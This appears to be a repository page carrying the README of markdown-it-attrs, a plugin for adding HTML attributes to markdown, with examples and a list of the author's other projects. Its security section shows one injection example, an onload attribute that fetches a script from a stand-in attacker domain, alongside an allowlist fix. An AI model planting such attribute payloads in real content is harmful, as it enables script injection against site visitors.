• Stars
    star
    271
  • Rank 151,717 (Top 3 %)
  • Language
    JavaScript
  • License
    MIT License
  • Created over 9 years ago
  • Updated almost 2 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Add classes, identifiers and attributes to your markdown with {} curly brackets, similar to pandoc's header attributes

markdown-it-attrs Build Status npm version Coverage Status

Add classes, identifiers and attributes to your markdown with {.class #identifier attr=value attr2="spaced value"} curly brackets, similar to pandoc's header attributes.

Table of contents

Examples

Example input:

# header {.style-me}
paragraph {data-toggle=modal}

Output:

<h1 class="style-me">header</h1>
<p data-toggle="modal">paragraph</p>

Works with inline elements too:

paragraph *style me*{.red} more text

Output:

<p>paragraph <em class="red">style me</em> more text</p>

And fenced code blocks:


```python {data=asdf}
nums = [x for x in range(10)]
```

Output:

<pre><code data="asdf" class="language-python">
nums = [x for x in range(10)]
</code></pre>

You can use .. as a short-hand for css-module=:

Use the css-module green on this paragraph. {..green}

Output:

<p css-module="green">Use the css-module green on this paragraph.</p>

Also works with spans, in combination with the markdown-it-bracketed-spans plugin (to be installed and loaded as such then):

paragraph with [a style me span]{.red}

Output:

<p>paragraph with <span class="red">a style me span</span></p>

Install

$ npm install --save markdown-it-attrs

Support

Library is considered done from my part. I'm maintaining it with bug fixes and security updates.

I'll approve pull requests that are easy to understand. Generally not willing merge pull requests that increase maintainance complexity. Feel free to open anyhow and I'll give my feedback.

If you need some extra features, I'm available for hire.

Usage

var md = require('markdown-it')();
var markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs, {
  // optional, these are default options
  leftDelimiter: '{',
  rightDelimiter: '}',
  allowedAttributes: []  // empty array = all attributes are allowed
});

var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
var res = md.render(src);

console.log(res);

demo as jsfiddle

Security

A user may insert rogue attributes like this:

![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}

If security is a concern, use an attribute whitelist:

md.use(markdownItAttrs, {
  allowedAttributes: ['id', 'class', /^regex.*$/]
});

Now only id, class and attributes beginning with regex are allowed:

text {#red .green regex=allowed onclick=alert('hello')}

Output:

<p id="red" class="green" regex="allowed">text</p>

Limitations

markdown-it-attrs relies on markdown parsing in markdown-it, which means some special cases are not possible to fix. Like using _ outside and inside attributes:

_i want [all of this](/link){target="_blank"} to be italics_

Above example will render to:

<p>_i want <a href="/link">all of this</a>{target=&quot;<em>blank&quot;} to be italics</em></p>

...which is probably not what you wanted. Of course, you could use * for italics to solve this parsing issue:

*i want [all of this](/link){target="_blank"} to be italics*

Output:

<p><em>i want <a href="/link" target="_blank">all of this</a> to be italics</em></p>

Ambiguity

When class can be applied to both inline or block element, inline element will take precedence:

- list item **bold**{.red}

Output:

<ul>
<li>list item <strong class="red">bold</strong></li>
<ul>

If you need the class to apply to the list item instead, use a space:

- list item **bold** {.red}

Output:

<ul>
<li class="red">list item <strong>bold</strong></li>
</ul>

If you need the class to apply to the <ul> element, use a new line:

- list item **bold**
{.red}

Output:

<ul class="red">
<li>list item <strong>bold</strong></li>
</ul>

If you have nested lists, curlys after new lines will apply to the nearest <ul> or <ol>. You may force it to apply to the outer <ul> by adding curly below on a paragraph by its own:

- item
  - nested item {.a}
{.b}

{.c}

Output:

<ul class="c">
  <li>item
    <ul class="b">
      <li class="a">nested item</li>
    </ul>
  </li>
</ul>

This is not optimal, but what I can do at the momemnt. For further discussion, see #32.

Similar for tables, attributes must be two new lines below:

header1 | header2
------- | -------
column1 | column2

{.special}

Output:

<table class="special">
  <thead>
    <tr>
      <th>header1</th>
      <th>header2</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>column1</td>
      <td>column2</td>
    </tr>
  </tbody>
</table>

If you need finer control, decorate might help you.

Custom rendering

If you would like some other output, you can override renderers:

const md = require('markdown-it')();
const markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs);

// custom renderer for fences
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
  const token = tokens[idx];
  return  '<pre' + slf.renderAttrs(token) + '>'
    + '<code>' + token.content + '</code>'
    + '</pre>';
}

let src = [
  '',
  '```js {.abcd}',
  'var a = 1;',
  '```'
].join('\n')

console.log(md.render(src));

Output:

<pre class="abcd"><code>var a = 1;
</code></pre>

Read more about custom rendering at markdown-it.

Custom blocks

markdown-it-attrs will add attributes to any token.block == true with {}-curlies in end of token.info. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info.

Remember to render attributes if you use a custom renderer.

Custom delimiters

To use different delimiters than the default, add configuration for leftDelimiter and rightDelimiter:

md.use(attrs, {
  leftDelimiter: '[',
  rightDelimiter: ']'
});

Which will render

# title [.large]

as

<h1 class="large">title</h1>

Development

Tests are in test.js.

Run all tests:

npm test

Run particular test:

npm test -- -g "not crash"

In tests, use helper function replaceDelimiters to make test run with different delimiters ({}, [] and [[]]).

For easy access to HTML output you can use debug.js:

node debug.js # will print HTML output

Please do not submit pull requests with changes in package version or built files like browser.js.

License

MIT © Arve Seljebu

More Repositories

1

react-animate-on-change

Animate your components on state change
JavaScript
83
star
2

markdown-it-implicit-figures

Render images occurring by itself in a paragraph as `<figure>< img ...></figure>`, similar to pandoc's implicit_figures
JavaScript
55
star
3

feathers-mongodb-fuzzy-search

Add fuzzy $search to mongodb service.find queries
JavaScript
40
star
4

npm-download-size

analyze size of npm packages
Vue
33
star
5

npm-download-size-cli

get download size for npm packages, including their dependencies
JavaScript
20
star
6

markdown-it-header-sections

similar to pandoc's --section-divs for markdown-it
JavaScript
18
star
7

metalsmith-changed

only build files that have changed
JavaScript
18
star
8

docker-timemachine

timemachine in a docker
Shell
18
star
9

feathers-custom-methods

add custom methods to your feathersjs services
JavaScript
16
star
10

actix-sse

server-sent events with actix-web
Rust
15
star
11

actix_crud

create, read, update, delete with actix-web, SQLite and svelte
Rust
14
star
12

vue-persistent-state

Persist state to localstorage
JavaScript
11
star
13

ipynbcompress

Compress images in your ipython notebooks
Jupyter Notebook
10
star
14

NBLeser

Et alternativ til Nasjonalbibliotekets egen webleser.
JavaScript
9
star
15

metalsmith-pandoc

metalsmith pandoc plugin
JavaScript
9
star
16

feedbach

A light weight, easy to use student response system.
JavaScript
8
star
17

feathers-nedb-fuzzy-search

Add fuzzy search to NeDB service.find queries
JavaScript
8
star
18

npm-download-size-api

server side API for npm-download-size
TypeScript
8
star
19

arduino_logical_analyzer

a poor man's logic analyzer using arduino and electron
JavaScript
7
star
20

codeclub_lesson_builder

build code club lessons to html and pdf
JavaScript
6
star
21

matrixscreener

Python API for Leica LAS AF MatrixScreener
Python
6
star
22

system-install

Get the install command for the system package manager
JavaScript
5
star
23

microscopestitching

Automatic merge/stitching of regular spaced images
Jupyter Notebook
5
star
24

uubw

Unngå UBW - Fyll ut timelisten fra CSV eller TSV-fil
JavaScript
4
star
25

leicaautomator

Automatic scanning with Leica SPX microscopes
Jupyter Notebook
4
star
26

markdown-it-underline

Renders _underline_ to <u>underline</u>
JavaScript
4
star
27

build-your-own-couchdb

Build your own modern CouchDB with Rust
Rust
4
star
28

fijibin

Life-Line of Fiji for easy inclusion in python projects.
Python
4
star
29

deep-reduce

reduce objects deeply, call reducer for every nested value in object tree
JavaScript
3
star
30

mac-notifier

A simple impletation for messaging through notification center in OS X with python
Python
2
star
31

vue-pie-chart

Vue pie chart component
JavaScript
2
star
32

kubernetes

kubernetes workshop
JavaScript
2
star
33

objectifiedetree

Dot notation for python's ElementTrees
Python
2
star
34

leicaexperiment

Python object for reading Leica LAS Matrix Screener experiments
Python
2
star
35

FY3490

Work on image processing and pattern recognition - special syllabus in physics
MATLAB
2
star
36

chemical_elements

create images of chemical elements, like the squares in the periodic table, also know from breaking bad
JavaScript
2
star
37

metalsmith-frontmatter

metalsmith plugin: set YAML front-matter to global metadata
JavaScript
2
star
38

leicascanningtemplate

convenience library for talking with leica matrix screener scanning template
Python
2
star
39

markdown-it-template-literals

`${template} literals for markdown-it`
JavaScript
2
star
40

node-cors

CORS proxy for node.js
JavaScript
1
star
41

clipboard-attack

HTML
1
star
42

docpad-test

test of docpad for building kodeklubben excercises
CoffeeScript
1
star
43

lesson_editor

Create codeclub lessons in your web browser
JavaScript
1
star
44

rethinkdb_playground

rethinkdb, express, socket.io boilerplate
JavaScript
1
star
45

arduino_garage_controller

C++
1
star
46

gdl-download-pdf

download pdfs for books in english and spanish from digitallibrary.io rss feed
JavaScript
1
star
47

react-intro

minimal intro to react for https://github.com/knowit/react-workshop/
JavaScript
1
star
48

metalsmith-phantomjs-pdf

Convert HTML-files to PDF with Metalsmith
JavaScript
1
star
49

simple-browser-testing

dead simple end-to-end browser testing
JavaScript
1
star
50

example_lessons

example setup for codeclub_lesson_builder
JavaScript
1
star
51

google-spreadsheets-browser

browserify of node-google-spreadsheets
JavaScript
1
star
52

popular-js-repos

JavaScript
1
star
53

yun-fire-alert

SMS alert for Nobi 220i R2 fire alarm with Arduino Yun
Python
1
star